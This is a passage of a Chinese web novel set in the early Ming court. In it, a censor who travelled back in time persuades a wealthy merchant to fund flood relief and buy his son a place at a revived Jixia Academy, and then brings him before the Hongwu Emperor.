而张平和方孝孺此刻无论是从眼中还是冲内心深处,全都是震撼的。 以往他们对于商贾确实是看不起,所谓万般皆下品,惟有读书高,社会阶层士农工商中作为最上层的士,自然看不起贱籍的商贾。 可现在..... 胡老三的这一手价值十万两的粮草,着着实实给两人上了一课,当场懵了..... 而在缓过神来之后,两人当即不约而同地神色一肃。 他们再看向胡老三的眼神中就充满了重视。 “胡老板能够在湖广如此的时候慷慨解囊,当真是我大明商贾之楷模啊!” “是啊,救人一命胜造七级浮屠,胡老板这一出手就是价值十万两的粮食,这是救了多少百姓和多少家庭?” “我张志远从未见过入胡老板这般慷慨为国的商贾!” “方某莽浪了,先前对商贾多有偏见,却也不想这商贾之中还有胡老板这般出手阔绰的性情中人! ...... 面对朱樉、蓝玉、张平、方孝孺的连翻上阵,即便是久经沙场的胡老三这会儿也是老脸红彤彤的,不胜吹捧..... 平日里胡老三收到的来自其他人的吹捧受多了,他对于这些恭维人的吹捧话早就已经彻底免疫。 可眼下的情况和平日里却完全不同。虽然同样是吹捧,但这说话的人不同啊! 来自秦王殿下,凉国公和两位朝中大人物的吹捧? 嘶! 胡老三这辈子都未敢想过! 几人的几句话顿时就让胡老三有种飘飘欲仙之感...... 胡老三毕竟是大商贾,心绪非常人可及。 虽然在这个时候他已经激动兴奋得无法自己,可胡老三依旧十分清楚自己此行的目的。 面对众人的夸赞,胡老三不好意思地挠了挠头.... “王爷,凉国公,朱御史,张大人,方大人,诸位所言,属实是让我胡老三自惭形愧啊!” “胡某也不想瞒着几位大人,其实我胡老三也并非如同几位大人想的这般高尚,此番重礼上门,实则有我自己的心思.....” 说着胡老三不由自主地低下了头..... 以他对‘士’这一阶层的了解,自己这一番话定然会让极重面子的大人物们集体暴怒。 胡老三早就已经有所想象,可他又不得不说。 即便是他再慷慨,也不可能真的直接白扔了十几二十万两白花花的银子!他所做的一切,都是有目的的。 要是换成寻常的商贾,或许会藏着掖着这个目的,然后旁敲侧击。 原本胡老三也是这么想的,想要先和朱煐接触,之后再徐徐图之。 可眼下,到了朱煐府中之后胡老三才猛然发现,这里居然有如此多的大人物! 秦王、凉国公、朱允熥,这三尊大神更是胡老三想都不敢想的存在...... 在这种情况下,胡老三的大脑在短时间内快速运转,权衡利弊之后做出了选择。 都是千年的狐狸,再玩聊斋就没有意思了,与其给人留下一个不好的印象,不如坦然相待,反显大气。 不过这也是一场豪赌,谁也不知道这几位大爷的脾气究竟如何,自己的此番举措能否对胃口,要是对上了,那自然是全方位大胜,可要是对不上,这钱送了,反倒惹人生厌。 胡老三从来不缺冒险精神。 他敢在毫无保障且情况不明的情况下掏出十万两就已是明证。 不是他钱多,而是他深谙什么风险与收益之间的关系! 面对胡老三的坦白和坦然,朱樉和蓝玉以及在场众人也全都是一愣.... 似乎大家也全然没有想到胡老三会在这个时候选择直接坦白,而且是赤裸裸地就这么坦白..... “哈哈哈哈,没想到胡老板也是性情中人,本王最看不惯的就是那些个成天勾心斗角之辈,商贾之中还能有胡老板这样的性情中人倒是少见。” “这毕竟是关系到二三十万两的大事,胡老板要没所求,这钱反倒是不敢收了,有所求好啊,不知胡老板所求为何?放心大胆说就是了。本王听着。” 听朱樉这么一说,胡老三的心中暗喜。 暗道自己赌对了! 至少在秦王这里赌对了! 不过眼下这主事的,还得看朱御史.... 不等胡老三开口,蓝玉也开口了。 “胡老板不必顾忌,你能拿出这些粮食救济灾民,已经可以证明胡老板你的爱民之心,若有什么想法,你尽管说,我同秦王皆可为你说话,若是我们办不到的话,可替你联系陛下,想必看在这些银子的面子上,陛下也会卖你个面子。” 胡老三唰的一下脸色煞白。 让老朱卖个面子?这是胡老三想都不敢想的。甚至他压根就不想见老朱。 这传闻中的洪武大帝,那可是个杀人不眨眼的,这要是见了,还和这位爷提要求,自己这小命不得直接交代了?想到这,胡老三不由自主地打了个寒颤..... “不必,大可不必。” “多谢凉国公好意,此事却也未曾要到惊动陛下的程度。” 胡老三赶忙拒绝,而后挠了挠头看向了朱煐..... “朱御史,是这样的,胡某听说,陛下让您重开稷下学宫?不知这消息.....可是谣言?” 胡老三壮着胆子问出了心中所想。 而与此同时,他的心里头心脏也开始‘噗通噗通’地快速跳动着..... 而随着胡老三问出这话,朱樉、蓝玉、张平、方孝孺先是一愣,旋即恍然,而后看向朱煐的目光中充满了惊叹。 嘿! 还真是冲着稷下学宫来的! 看来朱御史对这些商贾所想,判断的是一点没错啊! 这只是来打探个稷下学宫的消息,就这般大手笔出手? 这..... 哪怕是朱樉和蓝玉都无法理解胡老三的作为。 事实上这很正常,人往往很难共情他人,因为同一件事情在不同的人眼中就是全然不同的,同一件事,所处的角度不同,看待这件事的态度就会不同。 面对胡老三希奕的目光,朱煐微微一笑,点了点头:“胡老板的消息倒是灵通,倘若就只是这个问题的话,本官就能直接回答你,这稷下学宫重开之事并非谣言,确实是陛下所想。” 嘶! 朱煐此言一出,胡老三顿时倒吸一口冷气。 他眼睛猛地瞪大,整个人微微颤抖,激动不已。 第68章 钱是王八蛋! “不错,此次重开稷下学宫旨在重复古时稷下学宫之荣光,千年前的稷下学宫百家争鸣,并非只是招收儒家子弟以脉,只要是我大明的年轻人,只要是这些人对我大明有贡献,那他们就有资格入我稷下学宫。” “或许朝堂上的官员因为其身份对大明的贡献可以直观看出,贡献不小,其子可入稷下学宫,但却也并不代表其他人的孩子就不好入内。陛下说了,只要是对大明有用的,其子嗣就有资格进入稷下学宫学习。” “这商贾.....就在其中!” 朱煐睁着眼睛就是一顿胡编乱造,听得一旁的蓝玉都是一愣一愣的...... 哪怕是蓝玉也不清楚朱煐所说的这些话的真假。 想来....是真的? 可这些话貌似不太像是陛下能说出来的啊....最看不起商贾的人,不正是陛下吗? 蓝玉心中有些许的怀疑,可这一点点的怀疑很快就被他给抛却到了九霄云外..... 朱御史是谁? 朱御史可是陛下的心腹!这假传陛下的旨意是什么结果,他能不知道?这谁敢假传陛下的旨意? 显然,朱御史他不敢假传陛下的旨意。 既然这样的话.....那么真相就只有一个。 那就是确实是陛下所说,而之所以自己觉得不像,只是单纯地因为.....自己并没有真正了解陛下! 蓝玉越想越是觉得自己想的方向有道理。 倘若是之前,蓝玉自认对老朱也算是十分了解,可当朱煐开口当朝说出凉国公府的处境的时候,蓝玉才惊觉,什么了解,都是扯淡!陛下的想法,哪里是自己所能猜出来的? 而之后蓝玉本以为必死,可没想到老朱却偏偏没有出手抄家,老朱的举动再一次地出乎了蓝玉的预料。 因此在这段时间经历了这诸事后,蓝玉反倒是不好拍着胸脯说自己真的了解老朱了。 所以在朱煐说出那一番话是老朱说的后,虽然蓝玉第一时间觉得老朱不可能说出这番话,可仔细思虑了一番后,还是认可了朱煐所言。 毕竟,谁会自己找死,假传圣旨呢? 显然不会,更何况还是朱煐这般炙手可热的朝堂新贵,陛下心腹。 他有可能拿这种事情开玩笑吗? 这不是显而易见的吗? ...... 而相较于蓝玉还稍稍有怀疑的想法,朱樉听着朱煐对胡老三说的这番话后,他和蓝玉不同,他没有丝毫的质疑,朱樉的第一反应是兴奋! 朱樉可从来没有觉得朱煐会假传老朱的圣旨,在他看来,这位圣眷正隆的朱御史那就是自家老头子的代言人,老头子不方便说的话会让他说,老头子不方便做的事情会让他来做。 既然如此的话,那也就是说....是老头子想要借此发挥,招商贾入稷下学宫? 要说原本朱樉还有些不理解的话,此时此刻的朱樉却是万分理解了。 “还得是父皇你啊!这姜当真是老的辣,居然想到了这么个法子让商贾掏钱?” 这只是一个口风一个消息放出去,这商贾就已经送上了整整十六万两! 想到以往自己老爹费劲巴拉地去求,去找商贾,可却也只是弄到了区区数万两银子,再想想眼下..... 朱樉只是觉着,是老头子想明白了这其中的关键,所以才借朱煐发挥。 如此一想,朱樉顿时也就理解了,他理解了朝堂上为什么这朱御史会有那么迥异于常人的表现,为什么一定要接下这湖广赈灾之事。原来是父皇暗中授意,这一切父皇其实都已经想好,安排好了? 一时间,朱樉的心中,对于自家老爹老朱的形象进一步高大了..... 这老头子当真是,越老越妖啊! 这法子都能被他给想到! 不过朱樉兴奋的并非是这些,他兴奋的是,自己居然能够如此轻松地参加到这件事情中! 这事情是老头子授意,让朱御史执行,以朝堂上百官的反应来看,怕是朝中满朝文武全都不知晓老头子的打算,这一出双簧,只有表演双簧的老头子和朱御史自己心里清楚。 当然,眼下自己也已经推出了一二,也算是靠着智慧洞悉了其中的一些关键。 可自己知道并非是老头子告知自己所知晓,而是自己领悟出来的。 显然,老头子并没有打算告诉自己。 这是一桩隐秘,老头子并未告诉任何人。 但同样都是没有告诉,可却有一点——自己要入稷下学宫,朱御史没有反对! 要是之前,朱樉也只是觉得朱煐未曾反对是因为给自己面子,可眼下这么一看,这稷下学宫重开一事,比想象中的更为重大,而这背后的一切,按照朱御史所言的话,大概率背后都是老爷子在幕后操控! 换而言之....并非是朱御史给自己面子,而是,老爷子率先点头,这才有了朱御史听命行事! “父皇,儿臣懂了!” 朱樉着实是有些被感动到了。 这是一份无言的,无声的,沉甸甸的,责任感! 父皇这是想要借着此事历练自己啊! 父爱如山,默然无声,却为孩子计之深远..... 曾经我朱樉无法理解,可现在,父皇,儿臣已不是当年那个不懂事的秦王朱樉了,儿臣能体会到您的苦心! 正是因为朱樉想通了其中自以为的关窍,这才让他感觉到兴奋。 这是一种被委以重任的沉甸甸的责任感和信任感! ...... 张平和方孝孺此刻互视一眼。 要说之前,两人对于朱煐的想法还不知可否,觉得商贾一毛不拔,想要从商贾的手里弄到钱难度太大的话,在刚刚胡老三随手就送出十六万两见面礼的那一刻,两人的想法瞬间就有了一百八十度的大转弯! 无他,商贾太富了!这出手太阔绰了! 即便是两人视金钱如粪土,也不得不承认,两人已经被粪土给砸晕了..... 这可是整整十六万两啊! 甚至其中十万两还是此刻在湖广的粮食,真正的价值乃是二三十万两! 这就夸张了! 这能救多少的百姓? 亲眼目睹这一幕之后,张平和方孝孺不由自主地想起了之前朱煐那的那股子自信,一时间心中对于朱煐的佩服如黄河泛滥一发不可收拾..... 张平看向朱煐的眼睛里闪烁着精芒! 不愧是我张志远认准的老大! 不光朝堂上的脾气硬,这本事也大啊! 张平的眼里,充满了狂热的崇拜。 而方孝孺的情况也没有差多少,对于朱煐是当真地打心底里佩服。 原本方孝孺觉得朱煐是太过年轻,被其他官员激将法一激之后就有些昏了头,接下了这筹措湖广赈灾粮款的差事。可眼下来看.... 这昏了头的分明就是自己啊! 朱御史不光刚正不阿,还有治世之才! “方孝孺啊方孝孺,你可真是一只井底之蛙啊!” 方孝孺不禁摇头毋自苦笑..... 张平和方孝孺都没有吭声说话,只是屏息凝神看向朱煐,生怕开口打乱了朱煐的大计。 ....... “陛下当真是这般说的?” 胡老三瞪大了眼睛看着朱煐,眼中充满了不可置信。 虽然来之前心里面就有过无数次的猜测,可猜测真正变成现实,这种梦想照入现实的感觉,和只是脑海里想想,这感觉是全然不同的..... 因此哪怕胡老三早就在心里做了一些准备,可当朱煐真正亲口说出那一句,重开的稷下学宫,确实招收商贾的子弟,且此乃陛下亲口所言。这消息落入胡老三耳中的时候,胡老三依旧惊呆了!呆愣在了原地....眼中满是不可思议..... “哈哈哈哈,胡老板多虑了,难不成朱御史还敢假传圣旨不成?” “此事我也是知晓的,胡老板你是有福咯。” 蓝玉笑呵呵地开口替朱煐作保。 蓝玉这么一开口,朱煐口中所说的话的真实性当即直线飙升! 胡老三原本也只是过于吃惊以至于有些不可思议地下意识发问罢了,听蓝玉这么一说,心里瞬间安心。 朱御史承诺,凉国公作保,这事情还能有假吗? 蓝玉话音刚落,却在此时朱樉爽朗的笑声响彻了整个房间。 “哈哈哈哈,胡老板,你且放宽心,这稷下学宫的副祭酒便是本王,这学院的规则本王再了解不过了,父皇确实是说了,这商贾家的子弟也能同样享有入内的资格。” 朱樉当即也给朱煐做承诺担保。 胡老三心中再无犹疑,彻底信了。 他的脸色刷的一下变得通红,是那种涨红的通红。 一个激动下的胡老三,大脑竟是瞬间充血,他太兴奋了! 有朱御史亲口所说,有凉国公和秦王两位作保,此事还能有假吗? 念及至此,胡老三当即彻底放下了心。 他小心翼翼地看向朱煐..... “大人,这陛下隆恩,小人身为商贾感激不尽,却是不知这入稷下学宫的商贾家子弟,有何要求?大人可否指点一二,若是大人方便,不吝指点,小人感激不尽,今日之恩他日必铭诸五内,必有厚报!” 在确定了消息的真实性之后,胡老三瞬间就反应过来。 这稷下学宫既然是真的招收商贾家的子弟,那也就是说,自家孩子入学有了可能。 但这其中还有一个重要的问题。那就是入学的标准! 之所以自己选择来打头阵豪赌一把,不就是为了此刻吗? 不就是为了扩大先发优势,了解别人所不了解的信息吗? 天下商贾何其多,这稷下学宫如何能容纳那么多的商贾家的子弟? 所以这其中定然还有其他的评判标准! 胡老三想要将这隐藏规则给悄悄探听出来,这才是他此行来的真正目的! 他又两个目的。 第一就是来查探这闹得满城风雨的消息的真实性。 眼下无疑已经查探清楚,这消息保真,还是实打实地保真! 那就只剩下第二个目的了,那就是借着先发优势,看能否捷足先登,给自家娃娃走个后门儿..... 这先前送的价值十万两的粮食厚礼,不就是为了给朱御史留个好印象,为了这一刻吗? 胡老三的心脏噗通噗通快速挑动,此刻的他十分紧张....他十分紧张地看着朱煐.... 朱煐只是微微一笑,摆了摆手:“什么铭诸五内就不必了,指点倒也谈不上,这稷下学宫的招生标准倒也不是什么秘密,早晚都是要公布的,胡老板能够在朝廷危难之际挺身而出更是送出这价值不菲的礼金作为赈灾之用,可见胡老板的拳拳爱国之心,陛下说了,这稷下学宫就是为了像胡老板你这样的人开的!” “入稷下学宫的商贾之家子弟,只有一个要求,那就是对学宫,对大明,得有贡献!” “贡献?” 胡老三眉头一挑。 朱煐点了点头:“不错,正是贡献。” “陛下说了,这稷下学宫培养的乃是我大明的肱股之才,必须得有爱国之心。” “以胡老板你的所作所为,我倒是觉得应该够了,胡老板在本次湖广遭灾的情况下捐的不少了,想必能超过胡老板你的,屈指可数,天下商贾,若要说论做贡献,胡老板已身居前列。” “按照正常排序,胡老板您的孩子是有机会今稷下学宫的。” 朱煐煞有其事地说道,至于有些话的可信度不高怎么办? 很简单,搬出老朱就好了,一句陛下说过,这可比什么都管用..... 胡老三听着朱煐的解释,先是一愣,旋即反应了过来。 贡献? 这不就是看钱吗? 胡老三眯着眼睛,心中暗道原来如此。 不过他的心中没有半点的反感,反倒是觉得此法甚好。 要说其他的,咱不一定有,这要说稷下学宫招收商贾子弟,一定要求商贾的诗词歌赋,或者要求商贾舞文弄墨,出口成章,那这不是摆明了把自己这草根出生的家伙给卡死了吗? 这要说稷下学宫招生以学子的天赋定,胡老三虽然就觉着自己的孩子蛮聪明的,可也没有信心真能比得过其他的孩子...... 可要说只是单纯的比贡献的话.... 这感情好啊! 咱不一定是最富裕的,但只要咱出手够狠,孩子的未来就算是有了! 这如何能让胡老三不激动? 这不正撞到咱的强项上面来了吗? 钱? 钱那特么的是王八蛋,咱花了之后再继续赚嘛! 第69章 陛下,朱御史又来了! 胡老三此刻很激动,他的心情无法用文字来形容。 可作为走南闯北的大商贾,机缘巧合加上自身出生入死才赚到这身价的胡老三虽然此刻非常激动,可他依旧让大脑强行保持着一个相对冷静的状态。 他的脸色涨红,但眼眸却深邃的不住打量着朱煐。 胡老三的心中还有顾忌..... 虽然这条件听上去十分诱人,说得很好,听着大体的意思就是只要捐钱,就能进稷下学宫,并且这学宫的师资力量也好,上层领导也罢,全都是整个大明顶尖的级别,表面上看去十分诱人,胡老三也承认,这对于自己的诱惑是致命的,可....他还是不放心啊.... 毕竟要和朝廷的人打交道,要是不能小心一些,随时可能被啃的骨头渣滓都不剩。而且你还无可奈何。 商贾和朝廷打交道,是出于绝对的下风!胡老三十分明白这一点,虽然他已经家财万贯,可哪怕是在府衙内打官司,那也得听官家人的,还得用钱上下打点才行,更何况....这京中朝堂? 更何况直接和陛下打交道? 就陛下以往的脾气行为而言,十分危险! 而且就传闻来说,陛下对商贾...好像并不太喜爱..... 胡老三在纠结。 他的心里此刻出现了两个声音,一个是富贵险中求,出现机会就该放手一搏。而另一个则是劝他,此事干系太大,牵扯不好全部身价或许都得赔进去不说,或许一个不好还得赔上性命..... 几年前陛下找商贾募捐钱粮一事尚且历历在目,最终是以那带头的商贾被陛下抄家而结束,赈灾的粮款是有了,可所有的商贾也都怕了..... 胡老三眼下送上十万礼金,露出身价,已经算是商贾之中最为大胆的了。 京中的商贾哪有几个蠢货? 胡老三看中的机会他们看不到吗?无非是不想冒着风险当这个出头的,宁愿收益小一些,后续的付出更大些,也不愿意冒如此大的风险当这出头鸟..... ....... 胡老三在犹豫,在踌躇,在心里盘算着..... 然而就在他心中思虑计较的时候,朱煐却自顾自地继续说道:“稷下学宫针对商贾子弟收取的学生名额是有限的,本届暂时先收取十人,若是这些人后续表现不错,下一届陛下会增加商贾家子弟入学宫的名额。这一点胡老板不必担心,这稷下学宫也不是就办一届,哪怕本届未能入学宫,下一届再入也是一样。” “稷下学宫的学子但凡获得进入学宫的资格,将会收到圣旨一张,为入学邀请函,这圣旨将会是陛下亲笔所写且盖上陛下的私人印章,陛下为学宫祭酒,这算是祭酒送给学宫学生的一个见面礼,也是陛下的一个承诺。但凡学有所成,但凡是能有真才实学,陛下绝对不会埋没人才!” “当然,倘若是有人仗着自己是稷下学宫的学生就胡作非为,陛下也不会纵容。” “若是胡老板有意....嗯....这样吧,胡老板你也算是商贾中的表率,眼下稷下学宫刚开,陛下又让本御史总管此事,本官就讨个好彩头,二十万两,只要总共能为朝廷分忧解难,为学宫建设做贡献,金额总数达到二十万两,本官就做主给胡老板你一个名额!” “胡老板先前送的十万两算入其中,只需再给十万两,这稷下学宫的第一位学生名额就给你了!” “若是胡老板觉得可以,现在我就带你入宫面见陛下,让陛下亲笔写下入学通知书,胡老板可带回,静等稷下学宫开学便是。” 朱煐言语之间将计划好的规则讲了个清楚,顺带的把老朱也给安排了。 至于老朱因此而生气? 倘若真因此暴怒,那就更好了嘛!正好咱再来个顺水推舟,给老朱再来一顿组合拳,最好能让老朱失去理智,再给自己打入天牢,然后赐死。 啧啧啧....这可太妙了.... 朱煐不自觉地就开始幻想。 穿越大明也有一阵了,刚开始的时候朱煐只是觉得在大明为‘家国天下’而死,完成任务并非难事,刚开始的时候也从来不会有什么幻想。可随着一次次的失败,朱煐挨了现实的一巴掌又一巴掌,而这一次次失败的结果就是让他的精神出现了些微的问题,总是时不时地幻想着完成任务。 思维经常地会出现发散,然后暗爽.... 要说愿景,这个方向发展的话自然是最好的愿景,可理想和现实之间终究是有着巨大的差距,宛若一道鸿沟天堑,不可逾越,理智告诉朱煐,以自己所了解的老朱的脾气而言,自己所设想的这种可能性太小太小,几乎可以忽略不计.... 不过对此他也已经习惯了。 成大事者不拘小节,得耐得住寂寞啊..... 八世轮回都这么过来了,还差这几年十几年的吗? 左右老朱已经暮年,老朱这头达不成,这不是还有朱允炆吗?朱允炆不行,还有朱老四呢。 只要咱的心态不崩,总归是能想到办法。 ...... 而朱煐的一番话,让房间里的气氛瞬间陷入了一片死寂.... 朱樉和蓝玉皆是一愣。 陛下一直以来对于商贾都是不假以词色,怎么这忽然就重视起来了? 虽然不知缘由,但既然陛下如此做,那肯定是有他自己的道理! 从朱御史这里得到的消息,代表着陛下的态度,换而言之....咱对于商贾方面....是不是也该重视一些了? 两人的心里盘算着自己的小心思和想法..... 而要说朱煐这番话对谁的震撼最大,那无疑就是胡老三。 此刻的胡老三,听着朱煐的这连珠带炮的一番话后,眼睛瞪大,瞳孔猛地一缩,眼中满是不可思议之色,看向朱煐只觉得口干舌燥。 咕咚.... 喉结动了动,胡老三咽了口唾沫.... “陛...陛下当真是这般说的?” 胡老三全然不敢相信朱煐所说的这些。 实在是太过于不可思议! 钱不钱的倒是其次,只是这....陛下以圣旨作为入学通知书?虽然说盖的不是朝廷的公章,可特么的盖的也是陛下的私人印章啊!还是圣旨!君无戏言的! 原本胡老三只是希望得到一个进一步的消息,或者探听一下如何能够确定陛下的态度,确定确实不是想坑骗自己这些人的钱财,可不曾想,这犹疑的话还没问呢,朱煐这边就公布出了这般惊天消息! 倘若当真如说的这般,二十万两? 这特么的二十万两花的简直太值了! 一张圣旨通知书,这特么的是能作为传家宝流传后世的啊! 日后咱老胡家,那也是有底蕴的家族了! 甚至在胡老三看来,这只盖有陛下私人印章的圣旨,比朝廷常规的圣旨,更加珍贵!物以稀为贵啊,这出自朝廷的圣旨,常年都出,可这只刻有陛下私人印章的圣旨,这可少之又少了!这甚至一定程度上代表了和陛下的关系! 想到这,胡老三整个人都不由激动地颤抖了! 这刻录有陛下私人印章的升职作为入学通知也就罢了,自己作为这商贾领头人,还能亲自去面见陛下? 有幸得到陛下的私下的接见? 这这这..... 这一刻胡老三彻底确定了——传言误人啊! 民家传闻,陛下不喜商贾,和大部分人一样,陛下觉着商贾无用,投机取巧,可如今一看,这简直太误会陛下了! 陛下的这一番番举措哪里有什么看不起商贾的意思?这分明就是对商贾无比重视啊! “捐!朱御史,这二十万两我捐了!” 胡老三无比的爽快。 “不知小人何时可受到陛下的接见?小人可是需要准备些什么?还请朱御史和诸位大人指点。” 胡老三十分紧张,想到自己居然要私下面圣,饶是见惯了大风大浪,见惯了风雨,也难以掩饰此刻的激动与内心的忐忑..... 朱樉、蓝玉、张平和方孝孺都没有吭声,四人的目光全都不约而同地看向了朱煐.... 指点? 咱都不知道陛下要接见商贾的这个消息,咱能如何指点? 四人只好等朱煐发话..... 朱煐只是微微一笑:“什么都不用准备,胡老板只要像寻常与人见面一样即可,陛下他也是人么,不用把陛下当豺狼虎豹似的,陛下这人吧,其实还是蛮好说话的。” “嗯...缺点就是太好说话了一些,没什么脾气。” 朱煐想了想又给补充了一句。 一旁的朱樉和蓝玉面色古怪...... 这话听着....怎么就这么别扭呢? 陛下....他那叫做没什么脾气? ...... 朱煐也没注意到朱樉和蓝玉的表情,只是冲胡老三继续道:“胡老板要是方便的话择日不如撞日,我看这事情不如早些定下好一些,以免夜长梦多,眼下稷下学宫未开本官尚且能给胡老板你走走后门,这万一日后人多了,这左右都是朋朋友友的,再给胡老板你走后门,怕是就有些为难了。” “今日要是方便的话,即刻本官就带胡老板你入宫面圣,胡老板你看如何?” “即刻?朱大人说的是.....现在入宫?” 胡老三瞪大眼睛,眼中全然是不可思议。 这特么的....入宫是这么好入的吗? 不过转念一想,这特么的房间里的都是什么人?一想房间里这几位爷的身份,胡老三就又释然了。 且先不提张平和方孝孺,光说朱樉和蓝玉,这一位王爷一位国公的,外面还有个皇孙殿下....这哪一个不是能随意入宫的主? 这么一想,朱煐这看似不可思议的话,却又显得合情合理..... 胡老三瞬间涨红了脸。 即刻入宫? 他求之不得啊! 眼下这稷下学宫的消息已经打探的七七八八了,传言非但无误,而且还比传言更为诱人,更有利于商贾! 看来陛下是有意提升商贾的地位?有意重视商贾了? 胡老三想到这,整个人激动地身体都有些微微战栗了.... 这机会,得把握住! 说不定就能鲤鱼跃龙门啊! 胡老三爱财,可他并非是那种目光短浅视财如命的商贾,在这商场上混迹了这么多年,他只有一个感想,那就是钱再多,终究只是一个毫无反抗之力的肥羊,你没有真正保护钱的能力的话,随时都有倾覆的危险! 同时,钱多不代表别人就看得起你,在这个社会,士农工商的阶级地位难以改变,如今自己已经有了很多的钱,至少让五六代人衣食无忧都是绰绰有余了,眼下想要让胡家继续发展,就不能往死命赚钱上继续发展了,得从地位提升上入手! 而眼下的稷下学宫重启,在胡老三看来,这就是一个千载难逢的绝佳机会!一个让商贾翻身,摇身一变的机会! “大人,小人想现在入宫,小人愿捐钱粮!” “朝廷用得上我等商贾,乃我等商贾之福分,更何况还给了这稷下学宫的入学名额,小人感激不尽,还请大人带小人入宫面圣,当面感谢陛下!” 胡老三激动地就要给朱煐跪地磕头。 朱煐一把扶住了要跪倒在地的胡老三。 “胡老板不必如此,这入宫面生不是难事,更何况陛下也是早有吩咐,这就同我入宫吧。” “多谢大人,多谢大人。” 胡老三激动地连连感谢。 ...... 皇宫。 御书房外。 蒋瓛又入御书房内通禀。 “陛下,朱御史门外求见。” 听到了这话的老朱放下了手中批阅奏章的朱笔,眉头一挑笑道:“咱孙又来了?一天入宫三次,倒是稀罕事儿,看来这给咱孙找点事儿干还真是不错啊,这小子就是这样,没事情就想不到咱,有事情就能常来找咱。” 老朱笑中带着一些醋意。 不过听到朱煐又入宫来找自己的消息,老朱的心里还是十分高兴的。 “咱孙找咱什么事儿?可知晓?” 老朱看向蒋瓛。 蒋瓛摇了摇头,顿了顿道:“臣不知,不过朱御史此番却是带了不少人。” “带人来的?还是不少人?” 老朱有些惊讶:“都带了谁?” “同朱御史一起来的有秦王,凉国公,允熥皇孙还有一个商贾。” “商贾?这孩子怎么把商贾给咱带来了?” 听到朱樉,蓝玉和朱允熥的时候老朱的表情倒是没有什么变化,而听到朱煐带了个商贾入宫,老朱才有些动容。 “这个臣就不知了,要不...臣先出去问问?” “不必了,直接让人进来吧,既然是咱孙带来的,想必一定有他的道理。” 老朱摆了摆手。 蒋瓛迟疑了一下,开口道:“陛下,这商贾会不会和朱御史先前提的要从商贾手里筹措湖广所需钱粮一事有关?” “莫不是朱御史他弄到了粮款?” 老朱眼前一亮:“嘿!还真别说,还真有可能!这小子莫不是已经筹到了一些银子?” “啧啧啧,能在这么短时间内从商贾手中弄到些许钱粮,不愧是咱孙啊!不愧是咱的种!不愧是咱老朱家的孩子!” “让人都进来吧。” 蒋瓛这么一提醒,老朱心中便有数了。 这会儿老朱的心里寻思着,这么大张旗鼓的来找自己,想来应该是弄到了万两? 怎么着也该比朝中的大臣们捐的多,这才会入宫给自己交代吧? 啧啧啧,这么短时间内能从商贾手中筹措到万两银子,也是有能耐了! 不过这湖广灾情这般大,一万两....杯水车薪啊..... 第70章 咱的大明竟这般富裕? 胡老三跟着朱煐,朱樉等人入了御书房。 作为一个身份卑微的商贾,皇宫都是这辈子头回进来,更别说这御书房了。 胡老三这会儿的心情可以说是十分忐忑。 他是大商贾不假,见惯了大风大浪也不假,可这面圣,还是头一回。 在古代的规则制度下,皇帝的权力至高无上,是后世无法想象的。 胡老三会发憷是人之常情。 别说是胡老三了,就算是在朝中多年的蓝玉,每次见老朱的时候心里还时不时发憷呢。 “胡老板,别紧张,陛下还是很好说话的。” 一旁,朱煐看出了胡老三的紧张,出声宽慰。 在朱煐看来,老朱可以说是历朝历代以来最好说话的几个皇帝之一了,哪怕是自己当朝指着老朱的鼻子骂,那也就被盛怒之下的老朱关了几天天牢,结果人家还低头认错把自己给请了出来。 这世上还有比这更好说话的皇帝吗? 从朱煐的角度来看,他说的话句句属实,可这话落到胡老三的耳朵里,被一旁的朱樉、蓝玉和朱允熥听着却是直翻起了白眼..... 当今陛下好说话? 还是很好说话? 这特么的还是咱认识的陛下吗? 胡老三也不敢吭声,只好勉强露出笑容,强颜欢笑。 几人在蒋瓛的带领下来到了老朱的面前。 “臣朱煐,见过陛下。” “儿臣见过父皇。” “臣蓝玉见过陛下。” 三人齐齐见礼。 一旁的胡老三哪里见过这个阵仗,事前也不知礼数,听到朱煐几人的话后这才反应过来,仓促之下噗通一声跪倒在了地上:“草民胡三,拜见陛下。” 胡老三低着头不敢抬头。 偌大的奉天殿,陷入了短暂的死寂,一片静默下,胡老三只觉得后背发汗,他低着头也不敢抬头看老朱,没有老朱发话,他也不敢动弹,只好一动不动地趴在地上..... 胡老三感受到了面圣的压力。 而就在场面好似陷入了短暂的僵持的时候,朱煐忽的开口打破了平静..... “陛下,这位便是我大明的爱国商贾,胡三胡老板。” “听闻陛下要重开稷下学宫,胡老三很是激动,他素来就对学问十分向往,虽为商贾却未堕青云之志,亲自上门提及想要捐赠一些银两助力微臣重修这稷下学宫。” “这稷下学宫重开虽然重要,可臣以为眼下还有更加紧急的事情,于是便将这湖广灾情同胡老板一一阐明,胡老板也是性情中人,恰好有一批价值十万两的粮食在湖广附近,他愿将这价值十万两的粮食无偿送给湖广百姓,以作赈灾之用。” “除此之外胡老板还联系了京城中的其他商贾,又凑出了六万两银子,算上胡老板个人捐赠银两,整整十六万两!” “臣以为兹事体大,须得禀报陛下,臣想着这胡老板为我大明如此考虑,咱朝廷自然也不能没有点表示,便想给胡老板一个稷下学宫的入学名额,特来找陛下赐下一道圣旨。” “稷下学宫开学招收学子,陛下为学宫祭酒,臣想着这稷下学宫既名垂千古,就该有些不同寻常学宫的牌面,臣斗胆请陛下给每一个稷下学宫招收的学生一道刻有陛下私人印章的圣旨,以作入学邀请函。不知陛下意下如何?” 胡老三被老朱的气势所慑,可老朱的这气势,朱煐可是半点也不怵,或者说他压根就没有把老朱放在眼里,没把老朱当回事自然也就感受不到来自老朱的压力。 朱煐的一番话落入老朱的耳中,原本老朱还听得仔细,可越听老朱的眼睛瞪得越大,听着听着,老朱就惊呆了..... 再后面朱煐说的话老朱都并没有听清,此刻他的脑海里只剩下了一个数字——十六...万两? 嘶! 老朱心中不由猛地倒吸了一口冷气,眼中满是不可置信。 “朱御史,你..你说多少钱?” “十...十六万两?” “咱没听错吧?” 即便是老朱也被这个数字给吓了一跳,忍不住开口问道。 朱煐点了点头:“陛下,臣所言句句属实,陛下倘若不信的话可以询问胡老板。胡老板眼下不是正好在吗?” 老朱的目光瞬间就落在了胡老三的身上..... “陛....陛下,朱大人说的不错,不过草民的这十六万两只是前期的钱,入学宫的名额草民会按陛下说的二十万两银子足额缴纳,除此之外草民听闻湖广灾情也是痛心疾首,身为大明人,如何能见大明百姓遭逢这般苦难?” “草民也算薄有家资,愿再捐十万两银子购置粮草运往湖广!” 胡老三眼下亲眼捡到了老朱,激动的同时彻底相信了朱煐说的承诺,当即大手一挥大气地直接又多捐了十万两。 不为别的,只为给陛下留一个好印象。 别的不说。这稷下学宫的祭酒可是陛下,这日后自己儿子入了学宫,还得让陛下多多关照才是。 